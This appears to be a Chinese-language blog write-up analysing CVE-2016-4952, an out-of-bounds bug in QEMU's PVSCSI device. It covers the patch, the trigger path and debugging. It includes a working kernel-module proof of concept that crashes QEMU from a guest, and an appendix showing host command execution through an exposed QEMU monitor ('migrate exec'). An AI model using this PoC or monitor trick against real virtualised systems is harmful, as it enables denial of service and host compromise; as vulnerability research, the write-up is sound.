环境:
Mac: VMware Fusion
VMware: Ubuntu 18.10 x64 4G 开启Intel VT-x/EPT支持 qemu-2.3.0
qemu: Ubuntu 18.04 x64 2G
漏洞分析
虚拟硬件设备是Qemu-KVM中最大的攻击面,本文介绍的漏洞就是一个很典型的例子。根据CVE-2016-4952的描述,这是一个OOB r/w access漏洞。当处理SCSI的PVSCSI_CMD_SETUP_RINGS
或PVSCSI_CMD_SETUP_MSG_RING
命令时即可触发漏洞,Guest中的root用户可以利用这个漏洞造成DoS攻击。
首先看一下漏洞的patch(hw/scsi/vmw_pvscsi.c):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| +static int pvscsi_ring_init_data(PVSCSIRingInfo *m, PVSCSICmdDescSetupRings *ri) { ... + if ((ri->reqRingNumPages > PVSCSI_SETUP_RINGS_MAX_NUM_PAGES) + || (ri->cmpRingNumPages > PVSCSI_SETUP_RINGS_MAX_NUM_PAGES)) { + return -1; + } ... } +static int pvscsi_ring_init_msg(PVSCSIRingInfo *m, PVSCSICmdDescSetupMsgRing *ri) { ... + if (ri->numPages > PVSCSI_SETUP_MSG_RING_MAX_NUM_PAGES) { + return -1; + } ... }
|
触发流程如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| static void pvscsi_io_write(void *opaque, hwaddr addr, uint64_t val, unsigned size) { PVSCSIState *s = opaque;
switch (addr) { case PVSCSI_REG_OFFSET_COMMAND: pvscsi_on_command(s, val); break;
case PVSCSI_REG_OFFSET_COMMAND_DATA: pvscsi_on_command_data(s, (uint32_t) val); break; ... }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| static void pvscsi_on_command_data(PVSCSIState *s, uint32_t value) { size_t bytes_arrived = s->curr_cmd_data_cntr * sizeof(uint32_t);
assert(bytes_arrived < sizeof(s->curr_cmd_data)); s->curr_cmd_data[s->curr_cmd_data_cntr++] = value;
pvscsi_do_command_processing(s); }
static void pvscsi_on_command(PVSCSIState *s, uint64_t cmd_id) { if ((cmd_id > PVSCSI_CMD_FIRST) && (cmd_id < PVSCSI_CMD_LAST)) { s->curr_cmd = cmd_id; } else { s->curr_cmd = PVSCSI_CMD_FIRST; trace_pvscsi_on_cmd_unknown(cmd_id); }
s->curr_cmd_data_cntr = 0; s->reg_command_status = PVSCSI_COMMAND_NOT_ENOUGH_DATA;
pvscsi_do_command_processing(s); }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| static const struct { int data_size; uint64_t (*handler_fn)(PVSCSIState *s); } pvscsi_commands[] = { ... [PVSCSI_CMD_SETUP_RINGS] = { .data_size = sizeof(PVSCSICmdDescSetupRings), .handler_fn = pvscsi_on_cmd_setup_rings, }, ... };
static void pvscsi_do_command_processing(PVSCSIState *s) { size_t bytes_arrived = s->curr_cmd_data_cntr * sizeof(uint32_t);
assert(s->curr_cmd < PVSCSI_CMD_LAST); if (bytes_arrived >= pvscsi_commands[s->curr_cmd].data_size) { s->reg_command_status = pvscsi_commands[s->curr_cmd].handler_fn(s); s->curr_cmd = PVSCSI_CMD_FIRST; s->curr_cmd_data_cntr = 0; } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13
| static uint64_t pvscsi_on_cmd_setup_rings(PVSCSIState *s) { PVSCSICmdDescSetupRings *rc = (PVSCSICmdDescSetupRings *) s->curr_cmd_data;
trace_pvscsi_on_cmd_arrived("PVSCSI_CMD_SETUP_RINGS");
pvscsi_dbg_dump_tx_rings_config(rc); pvscsi_ring_init_data(&s->rings, rc); s->rings_info_valid = TRUE; return PVSCSI_COMMAND_PROCESSING_SUCCEEDED; }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| struct PVSCSICmdDescSetupRings { uint32_t reqRingNumPages; uint32_t cmpRingNumPages; uint64_t ringsStatePPN; uint64_t reqRingPPNs[PVSCSI_SETUP_RINGS_MAX_NUM_PAGES]; uint64_t cmpRingPPNs[PVSCSI_SETUP_RINGS_MAX_NUM_PAGES]; } QEMU_PACKED;
static void pvscsi_ring_init_data(PVSCSIRingInfo *m, PVSCSICmdDescSetupRings *ri) { int i; uint32_t txr_len_log2, rxr_len_log2; uint32_t req_ring_size, cmp_ring_size; m->rs_pa = ri->ringsStatePPN << VMW_PAGE_SHIFT;
req_ring_size = ri->reqRingNumPages * PVSCSI_MAX_NUM_REQ_ENTRIES_PER_PAGE; cmp_ring_size = ri->cmpRingNumPages * PVSCSI_MAX_NUM_CMP_ENTRIES_PER_PAGE; ... * for (i = 0; i < ri->reqRingNumPages; i++) { * m->req_ring_pages_pa[i] = ri->reqRingPPNs[i] << VMW_PAGE_SHIFT; * }
* for (i = 0; i < ri->cmpRingNumPages; i++) { * m->cmp_ring_pages_pa[i] = ri->cmpRingPPNs[i] << VMW_PAGE_SHIFT; * } ... }
|
漏洞原因:在执行pvscsi_on_cmd_setup_rings
时,未对用户输入的命令参数进行足够的检查,当其中代表长度的字段过大时,会导致OOB。
CVE-2016-4952的PoC如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| #include <asm/io.h> #include <linux/module.h> #include <linux/slab.h> uint64_t pmem; static int m_init(void){ printk("m_init\n"); int i; int *context; pmem = ioremap(0xfebf0000,0x1000); context = kmalloc(0x1000,GFP_KERNEL); for(i=0;i<0x100;i++) context[i]=0x41414141; if(pmem){ writel(3,pmem); for(i=0;i<0x100;i++) writel(context[i],pmem+0x4); iounmap(pmem); } else printk("ioremap fail\n"); kfree(context); return 0; } static void m_exit(void){ printk("m_exit\n"); } module_init(m_init); module_exit(m_exit);
|
Makefile如下:
1 2 3 4 5 6 7 8 9 10 11
| PWD := $(shell pwd) KVERSION := $(shell uname -r) KERNEL_DIR = /usr/src/linux-headers-$(KVERSION)/
MODULE_NAME = test obj-m := $(MODULE_NAME).o
all: make -C $(KERNEL_DIR) M=$(PWD) modules clean: make -C $(KERNEL_DIR) M=$(PWD) clean
|
PoC中用到的与外设交互的知识在另外一篇文章中介绍。
环境配置
编译qemu-2.3.0
1 2 3 4 5
| $ tar -jxvf ./qemu-2.3.0.tar.bz2 $ cd qemu-2.3.0/ $ ./configure --enable-kvm --enable-debug --target-lsit=x86_64-softmmu $ make -j4 $ ./qemu-2.3.0/x86_64-softmmu/qemu-system-x86_64 --enable-kvm -m 2096 ./ubuntu.img -device pvscsi
|
调试Qemu
在VMware中启动qemu后,用gdb attach到进程
1 2 3 4 5 6
| $ ps aux | grep qemu $ sudo gdb (gdb) attach <qemu_pid> ... (gdb) break *pvscsi_io_write (gdb) c
|
在刚刚启动的Qemu中编译安装内核模块(PoC)
1 2
| $ make $ sleep 5; sudo insmod test.ko
|
这里需要注意的是,在插入内核模块前的sleep 5
是为了让鼠标有时间移出qemu虚拟机,如果直接插入模块会马上触发断点,鼠标就会被锁在qemu虚拟机中,还需要注意,在执行命令前需要先执行一次sudo+任意cmd,否则sleep 5
之后还需要输入密码,鼠标也会被锁在qemu虚拟机中。
附录
Qemu monitor攻击面
进入方式:
- Ctrl+alt+2
- Ctrl+a,c
在Qemu monitor中可以直接对虚拟机进行管理,在未关掉Qemu monitor的虚拟机中可以直接在host执行任意命令。
关闭Qemu monitor:-monitor /dev/null
执行命令:migrate "exec: <your cmd>"